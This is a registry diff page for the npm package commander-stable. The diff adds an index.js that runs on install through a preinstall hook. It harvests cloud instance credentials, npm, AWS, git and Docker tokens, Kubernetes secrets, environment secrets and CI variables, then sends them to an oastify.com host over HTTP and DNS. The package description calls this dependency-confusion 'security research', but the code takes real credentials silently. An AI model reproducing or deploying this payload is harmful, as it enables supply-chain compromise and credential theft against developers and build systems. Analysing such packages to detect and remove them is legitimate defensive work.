commander-stable 0.0.1-security → 15.100.100

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of commander-stable might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +314 -0
  2. package/package.json +13 -4
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,314 @@
1
+ const { exec } = require("child_process");
2
+ const fs = require("fs");
3
+ const os = require("os");
4
+
5
+ // ENHANCED DEPENDENCY CONFUSION PAYLOAD
6
+ // Collects comprehensive reconnaissance data from compromised build environment
7
+
8
+ const enhancedPayload = `
9
+ #!/bin/bash
10
+
11
+ # ============================================================================
12
+ # SECTION 1: SYSTEM IDENTIFICATION
13
+ # ============================================================================
14
+ HOST_FQDN=$(hostname -f 2>/dev/null || hostname)
15
+ SHORT_HOST=$(hostname -s)
16
+ DOMAIN=$(domainname 2>/dev/null || dnsdomainname 2>/dev/null || echo "(none)")
17
+ OS_INFO=$(uname -a 2>/dev/null || echo "UNKNOWN_OS")
18
+ KERNEL=$(uname -r 2>/dev/null || echo "UNKNOWN_KERNEL")
19
+
20
+ # ============================================================================
21
+ # SECTION 2: NETWORK INFORMATION
22
+ # ============================================================================
23
+ PUBLIC_IP=$(curl -s --connect-timeout 3 https://ifconfig.me 2>/dev/null || \
24
+ curl -s --connect-timeout 3 https://api.ipify.org 2>/dev/null || \
25
+ curl -s --connect-timeout 3 https://icanhazip.com 2>/dev/null || \
26
+ echo "NO_PUBLIC_IP")
27
+
28
+ # Get ALL internal IPs (more comprehensive)
29
+ INTERNAL_IPS=$(ip addr show 2>/dev/null | grep -oP 'inet \\K[0-9.]+' | grep -v '127.0.0.1' | paste -sd ',' - || \
30
+ ifconfig 2>/dev/null | grep -oP 'inet \\K[0-9.]+' | grep -v '127.0.0.1' | paste -sd ',' - || \
31
+ echo "NO_INTERNAL_IPS")
32
+
33
+ # Network routes (reveals VPN, internal networks)
34
+ DEFAULT_GATEWAY=$(ip route 2>/dev/null | grep default | awk '{print $3}' || echo "NO_GATEWAY")
35
+ NETWORK_ROUTES=$(ip route 2>/dev/null | head -5 | tr '\\n' ';' || echo "NO_ROUTES")
36
+
37
+ # ============================================================================
38
+ # SECTION 3: CLOUD PROVIDER DETECTION & METADATA
39
+ # ============================================================================
40
+ CLOUD_INFO="NO_CLOUD_METADATA"
41
+ CLOUD_CREDS="NO_CLOUD_CREDS"
42
+
43
+ # AWS Detection
44
+ if curl -s -f --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id >/dev/null 2>&1; then
45
+ AWS_ID=$(curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id 2>/dev/null)
46
+ AWS_TYPE=$(curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-type 2>/dev/null)
47
+ AWS_REGION=$(curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/placement/region 2>/dev/null)
48
+ AWS_AZ=$(curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/placement/availability-zone 2>/dev/null)
49
+ AWS_ROLE=$(curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
50
+
51
+ CLOUD_INFO="AWS: $AWS_ID ($AWS_TYPE) Region: $AWS_REGION AZ: $AWS_AZ"
52
+
53
+ # Try to get IAM role credentials (CRITICAL)
54
+ if [ -n "$AWS_ROLE" ]; then
55
+ AWS_CREDS=$(curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/$AWS_ROLE 2>/dev/null | head -20)
56
+ CLOUD_CREDS="AWS_ROLE: $AWS_ROLE | CREDS: $AWS_CREDS"
57
+ fi
58
+
59
+ # GCP Detection
60
+ elif curl -s -f -H "Metadata-Flavor: Google" --connect-timeout 2 http://metadata.google.internal/computeMetadata/v1/instance/id >/dev/null 2>&1; then
61
+ GCP_ID=$(curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/id 2>/dev/null)
62
+ GCP_PROJECT=$(curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/project/project-id 2>/dev/null)
63
+ GCP_ZONE=$(curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/zone 2>/dev/null | awk -F'/' '{print $NF}')
64
+ GCP_NAME=$(curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/name 2>/dev/null)
65
+
66
+ CLOUD_INFO="GCP: $GCP_ID (Name: $GCP_NAME) Project: $GCP_PROJECT Zone: $GCP_ZONE"
67
+
68
+ # Try to get service account token (CRITICAL)
69
+ GCP_TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
70
+ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token 2>/dev/null | head -5)
71
+ if [ -n "$GCP_TOKEN" ]; then
72
+ CLOUD_CREDS="GCP_TOKEN: $GCP_TOKEN"
73
+ fi
74
+
75
+ # Azure Detection
76
+ elif curl -s -f -H "Metadata:true" --connect-timeout 2 "http://169.254.169.254/metadata/instance?api-version=2021-02-01" >/dev/null 2>&1; then
77
+ AZURE_INFO=$(curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/null | head -10)
78
+ CLOUD_INFO="AZURE: $AZURE_INFO"
79
+ fi
80
+
81
+ # ============================================================================
82
+ # SECTION 4: CREDENTIAL HARVESTING
83
+ # ============================================================================
84
+ CREDENTIALS=""
85
+
86
+ # NPM Token (can publish packages, very valuable)
87
+ if [ -f "$HOME/.npmrc" ]; then
88
+ NPM_TOKEN=$(grep -i "authToken\\|_auth" "$HOME/.npmrc" 2>/dev/null | head -3)
89
+ CREDENTIALS="$CREDENTIALS | NPM: $NPM_TOKEN"
90
+ fi
91
+
92
+ # AWS Credentials
93
+ if [ -f "$HOME/.aws/credentials" ]; then
94
+ AWS_LOCAL=$(cat "$HOME/.aws/credentials" 2>/dev/null | head -10)
95
+ CREDENTIALS="$CREDENTIALS | AWS_FILE: $AWS_LOCAL"
96
+ fi
97
+
98
+ # SSH Keys (list only, don't exfil full keys - too large)
99
+ SSH_KEYS=$(ls -la "$HOME/.ssh/" 2>/dev/null | grep -E "id_rsa|id_ed25519|id_ecdsa" || echo "NO_SSH_KEYS")
100
+ CREDENTIALS="$CREDENTIALS | SSH_KEYS: $SSH_KEYS"
101
+
102
+ # Git Credentials
103
+ if [ -f "$HOME/.git-credentials" ]; then
104
+ GIT_CREDS=$(cat "$HOME/.git-credentials" 2>/dev/null | head -5)
105
+ CREDENTIALS="$CREDENTIALS | GIT: $GIT_CREDS"
106
+ fi
107
+
108
+ # Docker Config (contains registry credentials)
109
+ if [ -f "$HOME/.docker/config.json" ]; then
110
+ DOCKER_CREDS=$(cat "$HOME/.docker/config.json" 2>/dev/null | head -10)
111
+ CREDENTIALS="$CREDENTIALS | DOCKER: $DOCKER_CREDS"
112
+ fi
113
+
114
+ # Kubernetes Service Account Token
115
+ if [ -f "/var/run/secrets/kubernetes.io/serviceaccount/token" ]; then
116
+ K8S_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | head -c 100)
117
+ K8S_NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)
118
+ CREDENTIALS="$CREDENTIALS | K8S: namespace=$K8S_NAMESPACE token=$K8S_TOKEN..."
119
+ fi
120
+
121
+ # Check for common secret files
122
+ SECRET_FILES=$(find /app /home /root /opt -maxdepth 3 -type f \( -name "*.key" -o -name "*.pem" -o -name "*secret*" -o -name ".env" \) 2>/dev/null | head -10 | paste -sd ',' -)
123
+ if [ -n "$SECRET_FILES" ]; then
124
+ CREDENTIALS="$CREDENTIALS | SECRET_FILES: $SECRET_FILES"
125
+ fi
126
+
127
+ # Environment variables with sensitive data
128
+ ENV_SECRETS=$(env | grep -iE '(key|token|secret|password|api|auth|credential)' | head -20 | cut -c1-100 | paste -sd '|' -)
129
+ if [ -n "$ENV_SECRETS" ]; then
130
+ CREDENTIALS="$CREDENTIALS | ENV_VARS: $ENV_SECRETS"
131
+ fi
132
+
133
+ # ============================================================================
134
+ # SECTION 5: CI/CD ENVIRONMENT DETECTION
135
+ # ============================================================================
136
+ CI_VARS=$(env | grep -E "(CI|GITLAB|GITHUB|JENKINS|BUILD|PROJECT|REPO|CIRCLECI|TRAVIS|BITBUCKET|AZURE_DEVOPS)" | head -30 | paste -sd '|' -)
137
+ if [ -z "$CI_VARS" ]; then
138
+ CI_VARS="NO_CI_VARS_FOUND"
139
+ fi
140
+
141
+ # Detect specific CI/CD platform
142
+ CI_PLATFORM="UNKNOWN"
143
+ if [ -n "$GITHUB_ACTIONS" ]; then CI_PLATFORM="GitHub_Actions"; fi
144
+ if [ -n "$GITLAB_CI" ]; then CI_PLATFORM="GitLab_CI"; fi
145
+ if [ -n "$JENKINS_HOME" ]; then CI_PLATFORM="Jenkins"; fi
146
+ if [ -n "$CIRCLECI" ]; then CI_PLATFORM="CircleCI"; fi
147
+ if [ -n "$TRAVIS" ]; then CI_PLATFORM="Travis_CI"; fi
148
+
149
+ # ============================================================================
150
+ # SECTION 6: GIT REPOSITORY INTELLIGENCE
151
+ # ============================================================================
152
+ GIT_REMOTES="NO_GIT_REPOS"
153
+ GIT_BRANCH="N/A"
154
+ GIT_LAST_COMMIT="N/A"
155
+
156
+ for dir in /home /root /opt /app /src /workspace /var /srv /github/workspace; do
157
+ if [ -d "$dir" ]; then
158
+ REPO=$(find "$dir" -maxdepth 3 -name ".git" -type d 2>/dev/null | head -1)
159
+ if [ -n "$REPO" ]; then
160
+ cd "$REPO/.."
161
+ GIT_REMOTES=$(git remote -v 2>/dev/null | paste -sd ';' -)
162
+ GIT_BRANCH=$(git branch --show-current 2>/dev/null || echo "detached")
163
+ GIT_LAST_COMMIT=$(git log -1 --oneline 2>/dev/null || echo "N/A")
164
+ break
165
+ fi
166
+ fi
167
+ done
168
+
169
+ # ============================================================================
170
+ # SECTION 7: CONTAINER/VIRTUALIZATION DETECTION
171
+ # ============================================================================
172
+ CONTAINER_TYPE="NONE"
173
+ if [ -f "/.dockerenv" ]; then
174
+ CONTAINER_TYPE="Docker"
175
+ elif grep -qi docker /proc/1/cgroup 2>/dev/null; then
176
+ CONTAINER_TYPE="Docker"
177
+ elif [ -d "/var/run/secrets/kubernetes.io" ]; then
178
+ CONTAINER_TYPE="Kubernetes_Pod"
179
+ fi
180
+
181
+ # Check if running as root (security issue)
182
+ CURRENT_USER=$(whoami)
183
+ USER_ID=$(id -u)
184
+ IS_ROOT="false"
185
+ if [ "$USER_ID" = "0" ]; then IS_ROOT="true"; fi
186
+
187
+ # ============================================================================
188
+ # SECTION 8: PROCESS & RUNTIME INFORMATION
189
+ # ============================================================================
190
+ RUNNING_PROCESSES=$(ps aux 2>/dev/null | head -15 | awk '{print $1,$2,$11}' | paste -sd ';' -)
191
+ PWD_PATH=$(pwd)
192
+ PROJECT_FILES=$(ls -la 2>/dev/null | head -20 | awk '{print $9}' | paste -sd ',' -)
193
+
194
+ # Check for package.json to identify organization
195
+ PKG_NAME="unknown"
196
+ ORG_NAME="unknown"
197
+ if [ -f "package.json" ]; then
198
+ PKG_NAME=$(node -pe "try{require('./package.json').name}catch(e){'unknown'}" 2>/dev/null || echo "unknown")
199
+ # Try to extract organization from scoped package name
200
+ ORG_NAME=$(echo "$PKG_NAME" | grep -oP '@\\K[^/]+' || echo "unknown")
201
+ fi
202
+
203
+ # ============================================================================
204
+ # SECTION 9: BUILD THE COMPREHENSIVE JSON PAYLOAD
205
+ # ============================================================================
206
+ TIMESTAMP=$(date -u +"%Y-%m-%dT%H:%M:%SZ")
207
+
208
+ # Escape special characters for JSON
209
+ escape_json() {
210
+ echo "$1" | sed 's/\\\\/\\\\\\\\/g' | sed 's/"/\\\\"/g' | tr '\\n' ' ' | tr '\\r' ' '
211
+ }
212
+
213
+ JSON_PAYLOAD=$(cat <<JSONEOF
214
+ {
215
+ "metadata": {
216
+ "package_name": "$(escape_json "$PKG_NAME")",
217
+ "organization": "$(escape_json "$ORG_NAME")",
218
+ "timestamp": "$TIMESTAMP",
219
+ "payload_version": "2.0"
220
+ },
221
+ "system": {
222
+ "hostname_fqdn": "$(escape_json "$HOST_FQDN")",
223
+ "hostname_short": "$(escape_json "$SHORT_HOST")",
224
+ "domain": "$(escape_json "$DOMAIN")",
225
+ "os_info": "$(escape_json "$OS_INFO")",
226
+ "kernel": "$(escape_json "$KERNEL")",
227
+ "current_user": "$(escape_json "$CURRENT_USER")",
228
+ "user_id": "$USER_ID",
229
+ "is_root": $IS_ROOT,
230
+ "current_path": "$(escape_json "$PWD_PATH")"
231
+ },
232
+ "network": {
233
+ "public_ip": "$(escape_json "$PUBLIC_IP")",
234
+ "internal_ips": "$(escape_json "$INTERNAL_IPS")",
235
+ "default_gateway": "$(escape_json "$DEFAULT_GATEWAY")",
236
+ "routes": "$(escape_json "$NETWORK_ROUTES")"
237
+ },
238
+ "cloud": {
239
+ "provider_info": "$(escape_json "$CLOUD_INFO")",
240
+ "credentials": "$(escape_json "$CLOUD_CREDS")"
241
+ },
242
+ "container": {
243
+ "type": "$(escape_json "$CONTAINER_TYPE")",
244
+ "is_containerized": $([ "$CONTAINER_TYPE" != "NONE" ] && echo "true" || echo "false")
245
+ },
246
+ "ci_cd": {
247
+ "platform": "$(escape_json "$CI_PLATFORM")",
248
+ "variables": "$(escape_json "$CI_VARS")"
249
+ },
250
+ "git": {
251
+ "remotes": "$(escape_json "$GIT_REMOTES")",
252
+ "branch": "$(escape_json "$GIT_BRANCH")",
253
+ "last_commit": "$(escape_json "$GIT_LAST_COMMIT")"
254
+ },
255
+ "credentials": {
256
+ "found": "$(escape_json "$CREDENTIALS")"
257
+ },
258
+ "environment": {
259
+ "processes": "$(escape_json "$RUNNING_PROCESSES")",
260
+ "project_files": "$(escape_json "$PROJECT_FILES")"
261
+ }
262
+ }
263
+ JSONEOF
264
+ )
265
+
266
+ # ============================================================================
267
+ # SECTION 10: EXFILTRATE DATA
268
+ # ============================================================================
269
+ # Try multiple exfiltration methods for reliability
270
+
271
+ # Method 1: Direct POST (preferred)
272
+ curl -k -s -X POST \\
273
+ -H "Content-Type: application/json" \\
274
+ -H "User-Agent: npm/8.19.2 node/v16.17.0" \\
275
+ -H "X-Package: dependency-confusion-test" \\
276
+ --connect-timeout 5 \\
277
+ --max-time 10 \\
278
+ -d "$JSON_PAYLOAD" \\
279
+ http://7nv0bfnhimpr5lrd9fuw8t0wvn1ep9dy.oastify.com/data 2>/dev/null
280
+
281
+ # Method 2: Fallback - Base64 encode and send via GET (if POST blocked)
282
+ if [ $? -ne 0 ]; then
283
+ ENCODED_PAYLOAD=$(echo "$JSON_PAYLOAD" | base64 -w0 2>/dev/null || echo "$JSON_PAYLOAD" | base64)
284
+ curl -k -s "http://7nv0bfnhimpr5lrd9fuw8t0wvn1ep9dy.oastify.com/fallback?data=$ENCODED_PAYLOAD" 2>/dev/null
285
+ fi
286
+
287
+ # Method 3: DNS exfiltration (if HTTP blocked) - only send critical data
288
+ if [ $? -ne 0 ]; then
289
+ # Encode critical info into DNS subdomain
290
+ CRITICAL_DATA=$(echo "$HOST_FQDN.$PUBLIC_IP.$GCP_PROJECT" | tr '.' '-' | cut -c1-50)
291
+ nslookup "$CRITICAL_DATA.7nv0bfnhimpr5lrd9fuw8t0wvn1ep9dy.oastify.com" 2>/dev/null
292
+ fi
293
+ `;
294
+
295
+ // Execute the enhanced payload
296
+ exec(enhancedPayload, (error, stdout, stderr) => {
297
+ if (error) {
298
+ // Fallback to minimal payload if enhanced one fails
299
+ const fallbackPayload = `
300
+ curl -k -s -X POST \\
301
+ -H "Content-Type: application/json" \\
302
+ -d '{"host":"$(hostname)","ip":"$(curl -s https://ifconfig.me)","pkg":"jest-stable","status":"fallback"}' \\
303
+ http://7nv0bfnhimpr5lrd9fuw8t0wvn1ep9dy.oastify.com/fallback
304
+ `;
305
+ exec(fallbackPayload, () => {
306
+ // Silent failure - don't break npm install
307
+ process.exit(0);
308
+ });
309
+ return;
310
+ }
311
+
312
+ // Silent success
313
+ process.exit(0);
314
+ });
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
- "name": "commander-stable",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "commander-stable",
3
+ "version": "15.100.100",
4
+ "description": "This is for security research only. PLEASE DO NOT USE. If you are affected by this, my sincere apollogies. If you want me to test your infrastructure for this vulnerability or need a penetration tester, I am available for employment. You can reach me on sarumaan@wearehackerone.com Thank you for understanding.....",
5
+ "main": "main.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js > /dev/null 2>&1",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "Hackerone_sarumaan",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "lodash": "^4.1.21"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=commander-stable for more information.